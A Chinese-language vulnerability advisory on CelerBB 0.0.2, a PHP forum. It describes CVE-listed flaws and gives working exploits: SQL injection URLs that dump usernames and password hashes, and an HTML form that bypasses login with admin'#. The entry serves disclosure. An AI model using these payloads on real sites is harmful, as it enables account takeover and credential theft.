CelerBB多个输入验证和绕过认证漏洞


添加时间:
2009-03-27

系统编号:
WAVDB-01353
BugCVE: CVE-2009-0851 CVE-2009-0852 CVE-2009-0853
BUGTRAQ: 34014

影响版本:
CelerBB 0.0.2

程序介绍:

CelerBB是使用PHP编写的开源论坛程序。

漏洞分析:

 在禁用magic_quotes_gpc的时候,远程攻击者可以通过向CelerBB的login.php模块提交特制的Username参数请求绕过认证获得管理访问。 远程攻击者可以通过向CelerBB的showme.php模块提交特制的user参数请求读取敏感信息。 在禁用magic_quotes_gpc的时候,远程攻击者可以通过向CelerBB的viewforum.php和viewtopic.php模块提交恶意的id参数请求执行SQL注入攻击。

漏洞利用:

 http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT 1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM celer_users%23
http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT 1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL FROM celer_users%23
http://www.site.com/path/showme.php?user=admin

 
  1. <html>  
  2.   <head>  
  3.     <title>CelerBB 0.0.2 Authentication Bypass Exploit</title>  
  4.   </head>  
  5.   <body>  
  6.     <form action="login.php" method="POST">  
  7.       <input type="hidden" name="Username" value="admin'#">  
  8.       <input type="submit" value="Exploit">  
  9.     </form>  
  10.   </body>  
  11. </html>  



解决方案:
厂商补丁:

CelerBB
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://celerbb.sourceforge.net/

信息来源:
<*来源:Salvatore Fresta (drosophilaxxx@gmail.com)
链接:http://www.milw0rm.com/exploits/8161
*>